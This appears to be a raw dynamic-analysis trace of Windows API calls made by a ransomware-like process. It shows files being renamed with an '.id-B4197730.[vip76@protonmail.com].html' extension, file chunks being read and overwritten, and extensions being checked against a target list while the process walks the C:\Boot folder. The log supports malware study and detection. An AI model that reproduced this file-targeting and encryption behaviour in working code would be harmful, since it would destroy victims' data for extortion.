	[0063.255] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.255] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0063.256] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0063.256] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc64 | out: lpNewFilePointer=0x0) returned 1
	[0063.256] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc24 | out: lpNewFilePointer=0x0) returned 1
	[0063.256] ReadFile (in: hFile=0x33c, lpBuffer=0x39b4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e9fc30, lpOverlapped=0x0 | out: lpBuffer=0x39b4058*, lpNumberOfBytesRead=0x2e9fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0063.262] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc24 | out: lpNewFilePointer=0x0) returned 1
	[0063.262] ReadFile (in: hFile=0x33c, lpBuffer=0x39f4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e9fc30, lpOverlapped=0x0 | out: lpBuffer=0x39f4058*, lpNumberOfBytesRead=0x2e9fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0063.266] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e9fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0063.266] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc24 | out: lpNewFilePointer=0x0) returned 1
	[0063.266] ReadFile (in: hFile=0x33c, lpBuffer=0x3a34058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a34058*, lpNumberOfBytesRead=0x2e9fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0063.285] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.285] WriteFile (in: hFile=0x33c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2e9fca8, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fca8*=0xc0110, lpOverlapped=0x0) returned 1
	[0064.581] SetEndOfFile (hFile=0x33c) returned 1
	[0064.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x435d630
	[0064.587] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc74 | out: lpNewFilePointer=0x0) returned 1
	[0064.587] WriteFile (in: hFile=0x33c, lpBuffer=0x435d630*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e9fc80, lpOverlapped=0x0 | out: lpBuffer=0x435d630*, lpNumberOfBytesWritten=0x2e9fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0065.120] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc74 | out: lpNewFilePointer=0x0) returned 1
	[0065.121] WriteFile (in: hFile=0x33c, lpBuffer=0x435d630*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e9fc80, lpOverlapped=0x0 | out: lpBuffer=0x435d630*, lpNumberOfBytesWritten=0x2e9fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0065.121] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc74 | out: lpNewFilePointer=0x0) returned 1
	[0065.122] WriteFile (in: hFile=0x33c, lpBuffer=0x435d630*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e9fc80, lpOverlapped=0x0 | out: lpBuffer=0x435d630*, lpNumberOfBytesWritten=0x2e9fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0065.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0065.707] CloseHandle (hObject=0x33c) returned 1
	[0070.506] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0070.507] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.507] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.507] lstrlenW (lpString=".doc") returned 4
	[0070.507] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0070.507] lstrlenW (lpString=".docx") returned 5
	[0070.507] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1
	[0070.507] lstrlenW (lpString=".pdf") returned 4
	[0070.507] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0070.507] lstrlenW (lpString=".xls") returned 4
	[0070.507] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0070.507] lstrlenW (lpString=".xlsx") returned 5
	[0070.507] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1
	[0070.507] lstrlenW (lpString=".ppt") returned 4
	[0070.507] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0070.507] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.507] lstrlenW (lpString=".zip") returned 4
	[0070.507] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0070.507] lstrlenW (lpString=".rar") returned 4
	[0070.507] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0070.507] lstrlenW (lpString=".bz2") returned 4
	[0070.507] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0070.507] lstrlenW (lpString=".7z") returned 3
	[0070.508] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0070.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.508] lstrlenW (lpString=".dbf") returned 4
	[0070.508] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0070.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.508] lstrlenW (lpString=".1cd") returned 4
	[0070.508] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0070.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.508] lstrlenW (lpString=".jpg") returned 4
	[0070.508] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0070.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.508] lstrlenW (lpString=".doc") returned 4
	[0070.508] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0070.508] lstrlenW (lpString=".docx") returned 5
	[0070.508] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1
	[0070.508] lstrlenW (lpString=".pdf") returned 4
	[0070.508] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0070.508] lstrlenW (lpString=".xls") returned 4
	[0070.508] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0070.508] lstrlenW (lpString=".xlsx") returned 5
	[0070.508] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1
	[0070.508] lstrlenW (lpString=".ppt") returned 4
	[0070.508] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0070.508] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.509] lstrlenW (lpString=".zip") returned 4
	[0070.509] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0070.509] lstrlenW (lpString=".rar") returned 4
	[0070.509] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0070.509] lstrlenW (lpString=".bz2") returned 4
	[0070.509] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0070.509] lstrlenW (lpString=".7z") returned 3
	[0070.509] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0070.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.509] lstrlenW (lpString=".dbf") returned 4
	[0070.509] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0070.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.509] lstrlenW (lpString=".1cd") returned 4
	[0070.509] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0070.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0070.509] lstrlenW (lpString=".jpg") returned 4
	[0070.509] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0070.509] lstrlenW (lpString="BCD") returned 3
	[0070.509] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0070.510] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.510] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.510] lstrlenW (lpString=".doc") returned 4
	[0070.510] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0070.510] lstrlenW (lpString=".docx") returned 5
	[0070.510] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0070.510] lstrlenW (lpString=".pdf") returned 4
	[0070.510] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0070.510] lstrlenW (lpString=".xls") returned 4
	[0070.510] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0070.510] lstrlenW (lpString=".xlsx") returned 5
	[0070.510] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0070.510] lstrlenW (lpString=".ppt") returned 4
	[0070.510] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0070.510] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.510] lstrlenW (lpString=".zip") returned 4
	[0070.510] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0070.510] lstrlenW (lpString=".rar") returned 4
	[0070.510] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0070.510] lstrlenW (lpString=".bz2") returned 4
	[0070.510] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0070.510] lstrlenW (lpString=".7z") returned 3
	[0070.510] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0070.510] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.510] lstrlenW (lpString=".dbf") returned 4
	[0070.510] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0070.510] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.511] lstrlenW (lpString=".1cd") returned 4
	[0070.511] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0070.511] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.511] lstrlenW (lpString=".jpg") returned 4
	[0070.511] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0070.511] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.511] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.511] lstrlenW (lpString=".doc") returned 4
	[0070.511] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0070.511] lstrlenW (lpString=".docx") returned 5
	[0070.511] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0070.511] lstrlenW (lpString=".pdf") returned 4
	[0070.511] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0070.511] lstrlenW (lpString=".xls") returned 4
	[0070.511] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0070.511] lstrlenW (lpString=".xlsx") returned 5
	[0070.511] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0070.511] lstrlenW (lpString=".ppt") returned 4
	[0070.511] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0070.511] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.511] lstrlenW (lpString=".zip") returned 4
	[0070.511] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0070.511] lstrlenW (lpString=".rar") returned 4
	[0070.511] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0070.511] lstrlenW (lpString=".bz2") returned 4
	[0070.512] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0070.512] lstrlenW (lpString=".7z") returned 3
	[0070.512] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0070.512] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.512] lstrlenW (lpString=".dbf") returned 4
	[0070.512] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0070.512] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.512] lstrlenW (lpString=".1cd") returned 4
	[0070.512] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0070.512] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0070.512] lstrlenW (lpString=".jpg") returned 4
	[0070.512] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0070.512] lstrcmpiW (lpString1=".LOG1", lpString2=".html") returned 1
	[0070.512] lstrlenW (lpString="BCD.LOG1") returned 8
	[0070.512] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.513] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=0) returned 1
	[0070.513] CloseHandle (hObject=0x33c) returned 1
	[0070.513] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.513] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.513] lstrlenW (lpString=".doc") returned 4
	[0070.513] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0070.513] lstrlenW (lpString=".docx") returned 5
	[0070.513] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0070.513] lstrlenW (lpString=".pdf") returned 4
	[0070.513] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0070.513] lstrlenW (lpString=".xls") returned 4
	[0070.513] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0070.513] lstrlenW (lpString=".xlsx") returned 5
	[0070.513] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0070.513] lstrlenW (lpString=".ppt") returned 4
	[0070.513] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0070.513] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.513] lstrlenW (lpString=".zip") returned 4
	[0070.513] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0070.513] lstrlenW (lpString=".rar") returned 4
	[0070.513] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0070.513] lstrlenW (lpString=".bz2") returned 4
	[0070.513] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0070.514] lstrlenW (lpString=".7z") returned 3
	[0070.514] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0070.514] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.514] lstrlenW (lpString=".dbf") returned 4
	[0070.514] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0070.514] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.514] lstrlenW (lpString=".1cd") returned 4
	[0070.514] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0070.514] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.514] lstrlenW (lpString=".jpg") returned 4
	[0070.514] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0070.514] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.514] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.514] lstrlenW (lpString=".doc") returned 4
	[0070.514] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0070.514] lstrlenW (lpString=".docx") returned 5
	[0070.514] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0070.514] lstrlenW (lpString=".pdf") returned 4
	[0070.514] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0070.514] lstrlenW (lpString=".xls") returned 4
	[0070.514] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0070.514] lstrlenW (lpString=".xlsx") returned 5
	[0070.514] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0070.514] lstrlenW (lpString=".ppt") returned 4
	[0070.514] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0070.514] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.515] lstrlenW (lpString=".zip") returned 4
	[0070.515] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0070.515] lstrlenW (lpString=".rar") returned 4
	[0070.515] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0070.515] lstrlenW (lpString=".bz2") returned 4
	[0070.515] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0070.515] lstrlenW (lpString=".7z") returned 3
	[0070.515] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0070.515] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.515] lstrlenW (lpString=".dbf") returned 4
	[0070.515] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0070.515] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.515] lstrlenW (lpString=".1cd") returned 4
	[0070.515] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0070.515] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0070.515] lstrlenW (lpString=".jpg") returned 4
	[0070.515] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0070.515] lstrcmpiW (lpString1=".LOG2", lpString2=".html") returned 1
	[0070.515] lstrlenW (lpString="BCD.LOG2") returned 8
	[0070.515] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.516] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=0) returned 1
	[0070.516] CloseHandle (hObject=0x33c) returned 1
	[0070.516] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.516] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.516] lstrlenW (lpString=".doc") returned 4
	[0070.516] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0070.516] lstrlenW (lpString=".docx") returned 5
	[0070.516] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0070.516] lstrlenW (lpString=".pdf") returned 4
	[0070.516] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0070.516] lstrlenW (lpString=".xls") returned 4
	[0070.516] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0070.516] lstrlenW (lpString=".xlsx") returned 5
	[0070.516] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0070.516] lstrlenW (lpString=".ppt") returned 4
	[0070.516] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0070.516] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.516] lstrlenW (lpString=".zip") returned 4
	[0070.516] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0070.516] lstrlenW (lpString=".rar") returned 4
	[0070.516] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0070.517] lstrlenW (lpString=".bz2") returned 4
	[0070.517] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0070.517] lstrlenW (lpString=".7z") returned 3
	[0070.517] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0070.517] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.517] lstrlenW (lpString=".dbf") returned 4
	[0070.517] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0070.517] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.517] lstrlenW (lpString=".1cd") returned 4
	[0070.517] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0070.517] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.517] lstrlenW (lpString=".jpg") returned 4
	[0070.517] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0070.517] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.517] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.517] lstrlenW (lpString=".doc") returned 4
	[0070.517] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0070.517] lstrlenW (lpString=".docx") returned 5
	[0070.517] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0070.517] lstrlenW (lpString=".pdf") returned 4
	[0070.517] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0070.517] lstrlenW (lpString=".xls") returned 4
	[0070.517] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0070.517] lstrlenW (lpString=".xlsx") returned 5
	[0070.517] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0070.518] lstrlenW (lpString=".ppt") returned 4
	[0070.518] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0070.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.518] lstrlenW (lpString=".zip") returned 4
	[0070.518] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0070.518] lstrlenW (lpString=".rar") returned 4
	[0070.518] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0070.518] lstrlenW (lpString=".bz2") returned 4
	[0070.518] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0070.518] lstrlenW (lpString=".7z") returned 3
	[0070.518] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0070.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.518] lstrlenW (lpString=".dbf") returned 4
	[0070.518] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0070.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.518] lstrlenW (lpString=".1cd") returned 4
	[0070.518] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0070.518] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0070.518] lstrlenW (lpString=".jpg") returned 4
	[0070.518] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0070.518] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0070.518] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0070.519] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.519] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=77664) returned 1
	[0070.519] CloseHandle (hObject=0x33c) returned 1
	[0070.519] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0070.519] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.519] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0070.519] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.519] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.519] lstrlenW (lpString=".doc") returned 4
	[0070.520] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0070.520] lstrlenW (lpString=".docx") returned 5
	[0070.520] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0070.520] lstrlenW (lpString=".pdf") returned 4
	[0070.520] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0070.520] lstrlenW (lpString=".xls") returned 4
	[0070.520] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0070.520] lstrlenW (lpString=".xlsx") returned 5
	[0070.520] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0070.520] lstrlenW (lpString=".ppt") returned 4
	[0070.520] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0070.520] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.520] lstrlenW (lpString=".zip") returned 4
	[0070.520] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0070.520] lstrlenW (lpString=".rar") returned 4
	[0070.520] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0070.520] lstrlenW (lpString=".bz2") returned 4
	[0070.520] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0070.520] lstrlenW (lpString=".7z") returned 3
	[0070.520] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0070.520] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.520] lstrlenW (lpString=".dbf") returned 4
	[0070.520] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0070.520] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.520] lstrlenW (lpString=".1cd") returned 4
	[0070.520] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0070.520] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.521] lstrlenW (lpString=".jpg") returned 4
	[0070.521] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0070.521] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.521] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0070.521] lstrlenW (lpString=".doc") returned 4
	[0070.521] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0070.521] lstrlenW (lpString=".docx") returned 5
	[0070.521] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0070.521] lstrlenW (lpString=".pdf") returned 4
